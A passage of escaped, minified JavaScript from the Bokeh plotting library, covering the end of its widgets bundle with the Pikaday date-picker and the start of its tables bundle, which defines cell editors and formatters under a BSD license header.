i;c.createEvent?((i=c.createEvent(\\\"HTMLEvents\\\")).initEvent(e,!0,!1),i=d(i,n),t.dispatchEvent(i)):c.createEventObject&&(i=c.createEventObject(),i=d(i,n),t.fireEvent(\\\"on\\\"+e,i))},e=function(t){return t.month<0&&(t.year-=Math.ceil(Math.abs(t.month)/12),t.month+=12),11<t.month&&(t.year+=Math.floor(Math.abs(t.month)/12),t.month-=12),t},h={field:null,bound:void 0,position:\\\"bottom left\\\",reposition:!0,format:\\\"YYYY-MM-DD\\\",toString:null,parse:null,defaultDate:null,setDefaultDate:!1,firstDay:0,formatStrict:!1,minDate:null,maxDate:null,yearRange:10,showWeekNumber:!1,pickWholeWeek:!1,minYear:0,maxYear:9999,minMonth:void 0,maxMonth:void 0,startRange:null,endRange:null,isRTL:!1,yearSuffix:\\\"\\\",showMonthAfterYear:!1,showDaysInNextAndPreviousMonths:!1,enableSelectionDaysInNextAndPreviousMonths:!1,numberOfMonths:1,mainCalendar:\\\"left\\\",container:void 0,blurFieldOnSelect:!0,i18n:{previousMonth:\\\"Previous Month\\\",nextMonth:\\\"Next Month\\\",months:[\\\"January\\\",\\\"February\\\",\\\"March\\\",\\\"April\\\",\\\"May\\\",\\\"June\\\",\\\"July\\\",\\\"August\\\",\\\"September\\\",\\\"October\\\",\\\"November\\\",\\\"December\\\"],weekdays:[\\\"Sunday\\\",\\\"Monday\\\",\\\"Tuesday\\\",\\\"Wednesday\\\",\\\"Thursday\\\",\\\"Friday\\\",\\\"Saturday\\\"],weekdaysShort:[\\\"Sun\\\",\\\"Mon\\\",\\\"Tue\\\",\\\"Wed\\\",\\\"Thu\\\",\\\"Fri\\\",\\\"Sat\\\"]},theme:null,events:[],onSelect:null,onOpen:null,onClose:null,onDraw:null,keyboardInput:!0},p=function(t,e,n){for(e+=t.firstDay;7<=e;)e-=7;return n?t.i18n.weekdaysShort[e]:t.i18n.weekdays[e]},F=function(t){var e=[],n=\\\"false\\\";if(t.isEmpty){if(!t.showDaysInNextAndPreviousMonths)return'<td class=\\\"is-empty\\\"></td>';e.push(\\\"is-outside-current-month\\\"),t.enableSelectionDaysInNextAndPreviousMonths||e.push(\\\"is-selection-disabled\\\")}return t.isDisabled&&e.push(\\\"is-disabled\\\"),t.isToday&&e.push(\\\"is-today\\\"),t.isSelected&&(e.push(\\\"is-selected\\\"),n=\\\"true\\\"),t.hasEvent&&e.push(\\\"has-event\\\"),t.isInRange&&e.push(\\\"is-inrange\\\"),t.isStartRange&&e.push(\\\"is-startrange\\\"),t.isEndRange&&e.push(\\\"is-endrange\\\"),'<td data-day=\\\"'+t.day+'\\\" class=\\\"'+e.join(\\\" \\\")+'\\\" aria-selected=\\\"'+n+'\\\"><button class=\\\"pika-button pika-day\\\" type=\\\"button\\\" data-pika-year=\\\"'+t.year+'\\\" data-pika-month=\\\"'+t.month+'\\\" data-pika-day=\\\"'+t.day+'\\\">'+t.day+\\\"</button></td>\\\"},f=function(t,e,n,i,r,o){var s,a,l,u,c,d=t._o,h=n===d.minYear,p=n===d.maxYear,f='<div id=\\\"'+o+'\\\" class=\\\"pika-title\\\" role=\\\"heading\\\" aria-live=\\\"assertive\\\">',m=!0,v=!0;for(l=[],s=0;s<12;s++)l.push('<option value=\\\"'+(n===r?s-e:12+s-e)+'\\\"'+(s===i?' selected=\\\"selected\\\"':\\\"\\\")+(h&&s<d.minMonth||p&&s>d.maxMonth?'disabled=\\\"disabled\\\"':\\\"\\\")+\\\">\\\"+d.i18n.months[s]+\\\"</option>\\\");for(u='<div class=\\\"pika-label\\\">'+d.i18n.months[i]+'<select class=\\\"pika-select pika-select-month\\\" tabindex=\\\"-1\\\">'+l.join(\\\"\\\")+\\\"</select></div>\\\",g(d.yearRange)?(s=d.yearRange[0],a=d.yearRange[1]+1):(s=n-d.yearRange,a=1+n+d.yearRange),l=[];s<a&&s<=d.maxYear;s++)s>=d.minYear&&l.push('<option value=\\\"'+s+'\\\"'+(s===n?' selected=\\\"selected\\\"':\\\"\\\")+\\\">\\\"+s+\\\"</option>\\\");return c='<div class=\\\"pika-label\\\">'+n+d.yearSuffix+'<select class=\\\"pika-select pika-select-year\\\" tabindex=\\\"-1\\\">'+l.join(\\\"\\\")+\\\"</select></div>\\\",d.showMonthAfterYear?f+=c+u:f+=u+c,h&&(0===i||d.minMonth>=i)&&(m=!1),p&&(11===i||d.maxMonth<=i)&&(v=!1),0===e&&(f+='<button class=\\\"pika-prev'+(m?\\\"\\\":\\\" is-disabled\\\")+'\\\" type=\\\"button\\\">'+d.i18n.previousMonth+\\\"</button>\\\"),e===t._o.numberOfMonths-1&&(f+='<button class=\\\"pika-next'+(v?\\\"\\\":\\\" is-disabled\\\")+'\\\" type=\\\"button\\\">'+d.i18n.nextMonth+\\\"</button>\\\"),f+=\\\"</div>\\\"},Y=function(t,e,n){return'<table cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" class=\\\"pika-table\\\" role=\\\"grid\\\" aria-labelledby=\\\"'+n+'\\\">'+function(t){var e,n=[];for(t.showWeekNumber&&n.push(\\\"<th></th>\\\"),e=0;e<7;e++)n.push('<th scope=\\\"col\\\"><abbr title=\\\"'+p(t,e)+'\\\">'+p(t,e,!0)+\\\"</abbr></th>\\\");return\\\"<thead><tr>\\\"+(t.isRTL?n.reverse():n).join(\\\"\\\")+\\\"</tr></thead>\\\"}(t)+\\\"<tbody>\\\"+e.join(\\\"\\\")+\\\"</tbody></table>\\\"},t=function(t){var i=this,r=i.config(t);i._onMouseDown=function(t){if(i._v){var e=(t=t||window.event).target||t.srcElement;if(e)if(l(e,\\\"is-disabled\\\")||(!l(e,\\\"pika-button\\\")||l(e,\\\"is-empty\\\")||l(e.parentNode,\\\"is-disabled\\\")?l(e,\\\"pika-prev\\\")?i.prevMonth():l(e,\\\"pika-next\\\")&&i.nextMonth():(i.setDate(new Date(e.getAttribute(\\\"data-pika-year\\\"),e.getAttribute(\\\"data-pika-month\\\"),e.getAttribute(\\\"data-pika-day\\\"))),r.bound&&u(function(){i.hide(),r.blurFieldOnSelect&&r.field&&r.field.blur()},100))),l(e,\\\"pika-select\\\"))i._c=!0;else{if(!t.preventDefault)return t.returnValue=!1;t.preventDefault()}}},i._onChange=function(t){var e=(t=t||window.event).target||t.srcElement;e&&(l(e,\\\"pika-select-month\\\")?i.gotoMonth(e.value):l(e,\\\"pika-select-year\\\")&&i.gotoYear(e.value))},i._onKeyChange=function(t){if(t=t||window.event,i.isVisible())switch(t.keyCode){case 13:case 27:r.field&&r.field.blur();break;case 37:t.preventDefault(),i.adjustDate(\\\"subtract\\\",1);break;case 38:i.adjustDate(\\\"subtract\\\",7);break;case 39:i.adjustDate(\\\"add\\\",1);break;case 40:i.adjustDate(\\\"add\\\",7)}},i._onInputChange=function(t){var e;t.firedBy!==i&&(e=r.parse?r.parse(r.field.value,r.format):o?(e=n(r.field.value,r.format,r.formatStrict))&&e.isValid()?e.toDate():null:new Date(Date.parse(r.field.value)),B(e)&&i.setDate(e),i._v||i.show())},i._onInputFocus=function(){i.show()},i._onInputClick=function(){i.show()},i._onInputBlur=function(){var t=c.activeElement;do{if(l(t,\\\"pika-single\\\"))return}while(t=t.parentNode);i._c||(i._b=u(function(){i.hide()},50)),i._c=!1},i._onClick=function(t){var e=(t=t||window.event).target||t.srcElement,n=e;if(e){!s&&l(e,\\\"pika-select\\\")&&(e.onchange||(e.setAttribute(\\\"onchange\\\",\\\"return;\\\"),a(e,\\\"change\\\",i._onChange)));do{if(l(n,\\\"pika-single\\\")||n===r.trigger)return}while(n=n.parentNode);i._v&&e!==r.trigger&&n!==r.trigger&&i.hide()}},i.el=c.createElement(\\\"div\\\"),i.el.className=\\\"pika-single\\\"+(r.isRTL?\\\" is-rtl\\\":\\\"\\\")+(r.theme?\\\" \\\"+r.theme:\\\"\\\"),a(i.el,\\\"mousedown\\\",i._onMouseDown,!0),a(i.el,\\\"touchend\\\",i._onMouseDown,!0),a(i.el,\\\"change\\\",i._onChange),r.keyboardInput&&a(c,\\\"keydown\\\",i._onKeyChange),r.field&&(r.container?r.container.appendChild(i.el):r.bound?c.body.appendChild(i.el):r.field.parentNode.insertBefore(i.el,r.field.nextSibling),a(r.field,\\\"change\\\",i._onInputChange),r.defaultDate||(o&&r.field.value?r.defaultDate=n(r.field.value,r.format).toDate():r.defaultDate=new Date(Date.parse(r.field.value)),r.setDefaultDate=!0));var e=r.defaultDate;B(e)?r.setDefaultDate?i.setDate(e,!0):i.gotoDate(e):i.gotoDate(new Date),r.bound?(this.hide(),i.el.className+=\\\" is-bound\\\",a(r.trigger,\\\"click\\\",i._onInputClick),a(r.trigger,\\\"focus\\\",i._onInputFocus),a(r.trigger,\\\"blur\\\",i._onInputBlur)):this.show()};return t.prototype={config:function(t){this._o||(this._o=d({},h,!0));var e=d(this._o,t,!0);e.isRTL=!!e.isRTL,e.field=e.field&&e.field.nodeName?e.field:null,e.theme=\\\"string\\\"==typeof e.theme&&e.theme?e.theme:null,e.bound=!!(void 0!==e.bound?e.field&&e.bound:e.field),e.trigger=e.trigger&&e.trigger.nodeName?e.trigger:e.field,e.disableWeekends=!!e.disableWeekends,e.disableDayFn=\\\"function\\\"==typeof e.disableDayFn?e.disableDayFn:null;var n=parseInt(e.numberOfMonths,10)||1;if(e.numberOfMonths=4<n?4:n,B(e.minDate)||(e.minDate=!1),B(e.maxDate)||(e.maxDate=!1),e.minDate&&e.maxDate&&e.maxDate<e.minDate&&(e.maxDate=e.minDate=!1),e.minDate&&this.setMinDate(e.minDate),e.maxDate&&this.setMaxDate(e.maxDate),g(e.yearRange)){var i=(new Date).getFullYear()-10;e.yearRange[0]=parseInt(e.yearRange[0],10)||i,e.yearRange[1]=parseInt(e.yearRange[1],10)||i}else e.yearRange=Math.abs(parseInt(e.yearRange,10))||h.yearRange,100<e.yearRange&&(e.yearRange=100);return e},toString:function(t){return t=t||this._o.format,B(this._d)?this._o.toString?this._o.toString(this._d,t):o?n(this._d).format(t):this._d.toDateString():\\\"\\\"},getMoment:function(){return o?n(this._d):null},setMoment:function(t,e){o&&n.isMoment(t)&&this.setDate(t.toDate(),e)},getDate:function(){return B(this._d)?new Date(this._d.getTime()):null},setDate:function(t,e){if(!t)return this._d=null,this._o.field&&(this._o.field.value=\\\"\\\",r(this._o.field,\\\"change\\\",{firedBy:this})),this.draw();if(\\\"string\\\"==typeof t&&(t=new Date(Date.parse(t))),B(t)){var n=this._o.minDate,i=this._o.maxDate;B(n)&&t<n?t=n:B(i)&&i<t&&(t=i),this._d=new Date(t.getTime()),j(this._d),this.gotoDate(this._d),this._o.field&&(this._o.field.value=this.toString(),r(this._o.field,\\\"change\\\",{firedBy:this})),e||\\\"function\\\"!=typeof this._o.onSelect||this._o.onSelect.call(this,this.getDate())}},gotoDate:function(t){var e=!0;if(B(t)){if(this.calendars){var n=new Date(this.calendars[0].year,this.calendars[0].month,1),i=new Date(this.calendars[this.calendars.length-1].year,this.calendars[this.calendars.length-1].month,1),r=t.getTime();i.setMonth(i.getMonth()+1),i.setDate(i.getDate()-1),e=r<n.getTime()||i.getTime()<r}e&&(this.calendars=[{month:t.getMonth(),year:t.getFullYear()}],\\\"right\\\"===this._o.mainCalendar&&(this.calendars[0].month+=1-this._o.numberOfMonths)),this.adjustCalendars()}},adjustDate:function(t,e){var n,i=this.getDate()||new Date,r=24*parseInt(e)*60*60*1e3;\\\"add\\\"===t?n=new Date(i.valueOf()+r):\\\"subtract\\\"===t&&(n=new Date(i.valueOf()-r)),this.setDate(n)},adjustCalendars:function(){this.calendars[0]=e(this.calendars[0]);for(var t=1;t<this._o.numberOfMonths;t++)this.calendars[t]=e({month:this.calendars[0].month+t,year:this.calendars[0].year});this.draw()},gotoToday:function(){this.gotoDate(new Date)},gotoMonth:function(t){isNaN(t)||(this.calendars[0].month=parseInt(t,10),this.adjustCalendars())},nextMonth:function(){this.calendars[0].month++,this.adjustCalendars()},prevMonth:function(){this.calendars[0].month--,this.adjustCalendars()},gotoYear:function(t){isNaN(t)||(this.calendars[0].year=parseInt(t,10),this.adjustCalendars())},setMinDate:function(t){t instanceof Date?(j(t),this._o.minDate=t,this._o.minYear=t.getFullYear(),this._o.minMonth=t.getMonth()):(this._o.minDate=h.minDate,this._o.minYear=h.minYear,this._o.minMonth=h.minMonth,this._o.startRange=h.startRange),this.draw()},setMaxDate:function(t){t instanceof Date?(j(t),this._o.maxDate=t,this._o.maxYear=t.getFullYear(),this._o.maxMonth=t.getMonth()):(this._o.maxDate=h.maxDate,this._o.maxYear=h.maxYear,this._o.maxMonth=h.maxMonth,this._o.endRange=h.endRange),this.draw()},setStartRange:function(t){this._o.startRange=t},setEndRange:function(t){this._o.endRange=t},draw:function(t){if(this._v||t){var e,n=this._o,i=n.minYear,r=n.maxYear,o=n.minMonth,s=n.maxMonth,a=\\\"\\\";this._y<=i&&(this._y=i,!isNaN(o)&&this._m<o&&(this._m=o)),this._y>=r&&(this._y=r,!isNaN(s)&&this._m>s&&(this._m=s)),e=\\\"pika-title-\\\"+Math.random().toString(36).replace(/[^a-z]+/g,\\\"\\\").substr(0,2);for(var l=0;l<n.numberOfMonths;l++)a+='<div class=\\\"pika-lendar\\\">'+f(this,l,this.calendars[l].year,this.calendars[l].month,this.calendars[0].year,e)+this.render(this.calendars[l].year,this.calendars[l].month,e)+\\\"</div>\\\";this.el.innerHTML=a,n.bound&&\\\"hidden\\\"!==n.field.type&&u(function(){n.trigger.focus()},1),\\\"function\\\"==typeof this._o.onDraw&&this._o.onDraw(this),n.bound&&n.field.setAttribute(\\\"aria-label\\\",\\\"Use the arrow keys to pick a date\\\")}},adjustPosition:function(){var t,e,n,i,r,o,s,a,l,u;if(!this._o.container){if(this.el.style.position=\\\"absolute\\\",t=this._o.trigger,e=t,n=this.el.offsetWidth,i=this.el.offsetHeight,r=window.innerWidth||c.documentElement.clientWidth,o=window.innerHeight||c.documentElement.clientHeight,s=window.pageYOffset||c.body.scrollTop||c.documentElement.scrollTop,\\\"function\\\"==typeof t.getBoundingClientRect)u=t.getBoundingClientRect(),a=u.left+window.pageXOffset,l=u.bottom+window.pageYOffset;else for(a=e.offsetLeft,l=e.offsetTop+e.offsetHeight;e=e.offsetParent;)a+=e.offsetLeft,l+=e.offsetTop;(this._o.reposition&&r<a+n||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-n+t.offsetWidth)&&(a=a-n+t.offsetWidth),(this._o.reposition&&o+s<l+i||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-i-t.offsetHeight)&&(l=l-i-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}},render:function(t,e,n){var i=this._o,r=new Date,o=U(t,e),s=new Date(t,e,1).getDay(),a=[],l=[];j(r),0<i.firstDay&&(s-=i.firstDay)<0&&(s+=7);for(var u=0===e?11:e-1,c=11===e?0:e+1,d=0===e?t-1:t,h=11===e?t+1:t,p=U(d,u),f=o+s,m=f;7<m;)m-=7;f+=7-m;for(var v,g,y,b,_,w,x,k=!1,S=0,C=0;S<f;S++){var E=new Date(t,e,S-s+1),D=!!B(this._d)&&z(E,this._d),M=z(E,r),A=-1!==i.events.indexOf(E.toDateString()),N=S<s||o+s<=S,V=S-s+1,I=e,P=t,R=i.startRange&&z(i.startRange,E),L=i.endRange&&z(i.endRange,E),T=i.startRange&&i.endRange&&i.startRange<E&&E<i.endRange,O=i.minDate&&E<i.minDate||i.maxDate&&E>i.maxDate||i.disableWeekends&&(0===(x=E.getDay())||6===x)||i.disableDayFn&&i.disableDayFn(E);N&&(S<s?(V=p+V,I=u,P=d):(V-=o,I=c,P=h));var W={day:V,month:I,year:P,hasEvent:A,isSelected:D,isToday:M,isDisabled:O,isEmpty:N,isStartRange:R,isEndRange:L,isInRange:T,showDaysInNextAndPreviousMonths:i.showDaysInNextAndPreviousMonths,enableSelectionDaysInNextAndPreviousMonths:i.enableSelectionDaysInNextAndPreviousMonths};i.pickWholeWeek&&D&&(k=!0),l.push(F(W)),7==++C&&(i.showWeekNumber&&l.unshift((y=S-s,b=e,_=t,w=void 0,w=new Date(_,0,1),'<td class=\\\"pika-week\\\">'+Math.ceil(((new Date(_,b,y)-w)/864e5+w.getDay()+1)/7)+\\\"</td>\\\")),a.push((v=l,g=i.isRTL,'<tr class=\\\"pika-row'+(i.pickWholeWeek?\\\" pick-whole-week\\\":\\\"\\\")+(k?\\\" is-selected\\\":\\\"\\\")+'\\\">'+(g?v.reverse():v).join(\\\"\\\")+\\\"</tr>\\\")),C=0,k=!(l=[]))}return Y(i,a,n)},isVisible:function(){return this._v},show:function(){var t,e,n;this.isVisible()||(this._v=!0,this.draw(),t=this.el,e=\\\"is-hidden\\\",t.className=(n=(\\\" \\\"+t.className+\\\" \\\").replace(\\\" \\\"+e+\\\" \\\",\\\" \\\")).trim?n.trim():n.replace(/^\\\\s+|\\\\s+$/g,\\\"\\\"),this._o.bound&&(a(c,\\\"click\\\",this._onClick),this.adjustPosition()),\\\"function\\\"==typeof this._o.onOpen&&this._o.onOpen.call(this))},hide:function(){var t,e,n=this._v;!1!==n&&(this._o.bound&&i(c,\\\"click\\\",this._onClick),this.el.style.position=\\\"static\\\",this.el.style.left=\\\"auto\\\",this.el.style.top=\\\"auto\\\",t=this.el,l(t,e=\\\"is-hidden\\\")||(t.className=\\\"\\\"===t.className?e:t.className+\\\" \\\"+e),this._v=!1,void 0!==n&&\\\"function\\\"==typeof this._o.onClose&&this._o.onClose.call(this))},destroy:function(){var t=this._o;this.hide(),i(this.el,\\\"mousedown\\\",this._onMouseDown,!0),i(this.el,\\\"touchend\\\",this._onMouseDown,!0),i(this.el,\\\"change\\\",this._onChange),t.keyboardInput&&i(c,\\\"keydown\\\",this._onKeyChange),t.field&&(i(t.field,\\\"change\\\",this._onInputChange),t.bound&&(i(t.trigger,\\\"click\\\",this._onInputClick),i(t.trigger,\\\"focus\\\",this._onInputFocus),i(t.trigger,\\\"blur\\\",this._onInputBlur))),this.el.parentNode&&this.el.parentNode.removeChild(this.el)}},t})}})}(this);\\n      //# sourceMappingURL=bokeh-widgets.min.js.map\\n      /* END bokeh-widgets.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      /* BEGIN bokeh-tables.min.js */\\n      /*!\\n       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(a,b){!function(Bokeh){var define;(function(e,t,n){if(null!=Bokeh)return Bokeh.register_plugin(e,{\\\"models/widgets/tables/cell_editors\\\":433,\\\"models/widgets/tables/cell_formatters\\\":434,\\\"models/widgets/tables/data_table\\\":435,\\\"models/widgets/tables/index\\\":436,\\\"models/widgets/tables/main\\\":437,\\\"models/widgets/tables/table_column\\\":438,\\\"models/widgets/tables/table_widget\\\":439,\\\"models/widgets/widget\\\":440},437);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")})({433:function(e,t,n){var o=e(391),r=e(15),i=e(5),l=e(6),s=e(59),a=e(435),c=function(t){function e(e){return t.call(this,o.__assign({model:e.column.model},e))||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return null},enumerable:!0,configurable:!0}),e.prototype.initialize=function(e){t.prototype.initialize.call(this,e),this.inputEl=this._createInput(),this.defaultValue=null,this.args=e,this.render()},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-cell-editor\\\")},e.prototype.render=function(){t.prototype.render.call(this),this.args.container.appendChild(this.el),this.el.appendChild(this.inputEl),this.renderEditor(),this.disableNavigation()},e.prototype.renderEditor=function(){},e.prototype.disableNavigation=function(){this.inputEl.addEventListener(\\\"keydown\\\",function(e){switch(e.keyCode){case i.Keys.Left:case i.Keys.Right:case i.Keys.Up:case i.Keys.Down:case i.Keys.PageUp:case i.Keys.PageDown:e.stopImmediatePropagation()}})},e.prototype.destroy=function(){this.remove()},e.prototype.focus=function(){this.inputEl.focus()},e.prototype.show=function(){},e.prototype.hide=function(){},e.prototype.position=function(){},e.prototype.getValue=function(){return this.inputEl.value},e.prototype.setValue=function(e){this.inputEl.value=e},e.prototype.serializeValue=function(){return this.getValue()},e.prototype.isValueChanged=function(){return!(\\\"\\\"==this.getValue()&&null==this.defaultValue)&&this.getValue()!==this.defaultValue},e.prototype.applyValue=function(e,t){var n=this.args.grid.getData(),o=n.index.indexOf(e[a.DTINDEX_NAME]);n.setField(o,this.args.column.field,t)},e.prototype.loadValue=function(e){var t=e[this.args.column.field];this.defaultValue=null!=t?t:this.emptyValue,this.setValue(this.defaultValue)},e.prototype.validateValue=function(e){if(this.args.column.validator){var t=this.args.column.validator(e);if(!t.valid)return t}return{valid:!0,msg:null}},e.prototype.validate=function(){return this.validateValue(this.getValue())},e}(l.DOMView);n.CellEditorView=c;var u=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CellEditor\\\"},t}(s.Model);(n.CellEditor=u).initClass();var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return\\\"\\\"},enumerable:!0,configurable:!0}),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e}(c);n.StringEditorView=d;var p=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StringEditor\\\",this.prototype.default_view=d,this.define({completions:[r.Array,[]]})},t}(u);(n.StringEditor=p).initClass();var f=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.textarea()},t}(c);n.TextEditorView=f;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextEditor\\\",this.prototype.default_view=f},t}(u);(n.TextEditor=h).initClass();var g=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.select()},t.prototype.renderEditor=function(){for(var e=0,t=this.model.options;e<t.length;e++){var n=t[e];this.inputEl.appendChild(i.option({value:n},n))}this.focus()},t}(c);n.SelectEditorView=g;var m=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectEditor\\\",this.prototype.default_view=g,this.define({options:[r.Array,[]]})},t}(u);(n.SelectEditor=m).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.PercentEditorView=v;var w=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PercentEditor\\\",this.prototype.default_view=v},t}(u);(n.PercentEditor=w).initClass();var y=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"checkbox\\\",value:\\\"true\\\"})},t.prototype.renderEditor=function(){this.focus()},t.prototype.loadValue=function(e){this.defaultValue=!!e[this.args.column.field],this.inputEl.checked=this.defaultValue},t.prototype.serializeValue=function(){return this.inputEl.checked},t}(c);n.CheckboxEditorView=y;var C=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxEditor\\\",this.prototype.default_view=y},t}(u);(n.CheckboxEditor=C).initClass();var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseInt(this.getValue(),10)||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid integer\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.IntEditorView=b;var x=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IntEditor\\\",this.prototype.default_view=b,this.define({step:[r.Number,1]})},t}(u);(n.IntEditor=x).initClass();var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseFloat(this.getValue())||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid number\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.NumberEditorView=R;var S=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumberEditor\\\",this.prototype.default_view=R,this.define({step:[r.Number,.01]})},t}(u);(n.NumberEditor=S).initClass();var E=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.TimeEditorView=E;var k=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TimeEditor\\\",this.prototype.default_view=E},t}(u);(n.TimeEditor=k).initClass();var T=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},Object.defineProperty(t.prototype,\\\"emptyValue\\\",{get:function(){return new Date},enumerable:!0,configurable:!0}),t.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},t.prototype.destroy=function(){e.prototype.destroy.call(this)},t.prototype.show=function(){e.prototype.show.call(this)},t.prototype.hide=function(){e.prototype.hide.call(this)},t.prototype.position=function(){return e.prototype.position.call(this)},t.prototype.getValue=function(){},t.prototype.setValue=function(e){},t}(c);n.DateEditorView=T;var P=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DateEditor\\\",this.prototype.default_view=T},t}(u);(n.DateEditor=P).initClass()},434:function(e,t,n){var a=e(391),u=e(361),c=e(449),s=e(390),o=e(15),d=e(5),p=e(44),r=e(59),i=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.prototype.doFormat=function(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")},e}(r.Model),l=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"StringFormatter\\\",this.define({font_style:[o.FontStyle,\\\"normal\\\"],text_align:[o.TextAlign,\\\"left\\\"],text_color:[o.Color]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.font_style,l=this.text_align,s=this.text_color,a=d.span({},null==n?\\\"\\\":\\\"\\\"+n);switch(i){case\\\"bold\\\":a.style.fontWeight=\\\"bold\\\";break;case\\\"italic\\\":a.style.fontStyle=\\\"italic\\\"}return null!=l&&(a.style.textAlign=l),null!=s&&(a.style.color=s),a.outerHTML},e}(n.CellFormatter=i);(n.StringFormatter=l).initClass();var f=function(c){function e(e){return c.call(this,e)||this}return a.__extends(e,c),e.initClass=function(){this.prototype.type=\\\"NumberFormatter\\\",this.define({format:[o.String,\\\"0,0\\\"],language:[o.String,\\\"en\\\"],rounding:[o.String,\\\"round\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var 